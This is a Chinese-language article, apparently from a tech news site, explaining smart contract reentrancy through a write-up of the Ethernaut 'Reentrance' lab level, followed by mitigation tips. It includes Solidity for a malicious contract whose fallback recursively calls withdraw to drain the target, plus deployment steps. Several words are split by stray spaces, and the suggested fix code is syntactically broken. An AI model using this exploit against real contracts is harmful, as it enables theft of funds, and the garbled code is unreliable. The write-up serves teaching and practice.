什么是重入攻击

什么是重入攻击?

重入攻击发生在单线程计算环境中,当执行堆栈跳转或调用子例程时,在返回到原始执行之前。

一方面,这种单线程执行确保了智能合约的原子性,并消除了一些竞争条件。另一方面,合约容易受到执行顺序不佳的影响。

 什么是重入攻击_设计制作_EDA/IC设计

在上面的示例中,合同B是恶意合同,递归地调用A.withdraw()来耗尽合同A的资金。请注意,基金提取在合同A从其递归循环返回之前成功完成,甚至意识到B已经提取出超过其自身余额的方式。

此Ethernaut级别利用此重入问题以及导致DAO黑客攻击的以下其他因素:

· 任何人都可以调用Fallback函数并执行恶意代码

· 恶意外部合同可能会滥用提款权

1、创建一个名为Reen     te   r.sol的恶意合同,该合同将首先捐赠给Reentrance.sol,然后递归地从中退出,直到Reentrance耗尽资金。

contract Reenter {

Reentrance public original = Reentrance(YOUR_INSTANCE_ADDR);

uint public amount = 1 ether; //withdrawal amount each     ti   me

}

2、Reenter.sol和以太合约结构相同

constructor() public payable {

}

3、创建公共函数,以便reenter.sol可以向reentrance.sol捐款,并在其余额分类账中注册为捐赠者:

func  TI on donateToSelf() public {

original.donate.value(amount).gas(4000000)(address(this));//need to add value to this fn

}

4、调用此函数将确保您的恶意合同至少可以调用withdraw()一次,即通过     if   (balances [msg.sender]》 = _amount)检查。

 什么是重入攻击_设计制作_EDA/IC设计

上图说明了Reenter.sol从Reentrance.sol中提取所有资金的递归循环。

让我们在合同B中实现恶意回退功能,这样当合同A执行msg.sender.call.value(_amount)()退还合同B时,您的恶意合同会触发更多的撤销。

5、实现此恶意回退函数:

func  TI on() public payable {

if (address(original).balance != 0 ) {

original.withdraw(amount);

}

}

最后,在Re     mi   x中:将您的合同部署到Ropsten,为其植入以太,捐赠给Reentrance,然后调用Fallback函数,从Reentrance中耗尽所有资金。

关键要点:

· 执行顺序在Solidity中非常重要。如果你必须进行外部函数调用,那就做你做的最后一件事(在所有必要的检查和余额之后):

func  TI on withdraw(uint _amount) public {

if(balances[msg.sender] 》= _amount) {

balances[msg.sender] -= _amount;

if(msg.sender.transfer(_amount)()) {

_amount;

}

}

}

// Or even better, invoke transfer in a separate func  TI on

· 包括一个互斥     锁   以防止重入,例如 使用布尔锁变量来指示执行深度。

· 使用函数修饰符检查不变量时要小心:修饰符在函数开头执行。 如果变量状态将在整个函数期间发生变化,请考虑将修改器提取到放置在函数中正确行的检查中。

· “使用转移将资金从合同中转出,因为它会抛出并限制gas转发。 调用和发送等低级函数只返回false,但是当接收合同失败时不会中断执行流程。“

78
102
0
65

相关资讯

  1. 1、解读:一种基于模块化设计的PLM平台建设3409
  2. 2、人工智能,革命远未发生2645
  3. 3、技术融合创新推动制造业转型升级4091
  4. 4、EOS系统通胀中心化问题的解决方案1646
  5. 5、新松:机器人自动化是专用车制造的一个新方向3085
  6. 6、多芯片驱动器加FET技术解决小型化DC/DC应用设计问题2003
  7. 7、弓箭手:世界上自动化程度最高的车载炮,打完就跑仅需55秒3870
  8. 8、逆变器六大趋势,加速光伏平价上网2679
  9. 9、用户与内核空间数据交换的方式之一:模块参数与sysfs3724
  10. 10、需要了解Embededlinux的地址映射2717
全部评论(0)
我也有话说
0
收藏
点赞
顶部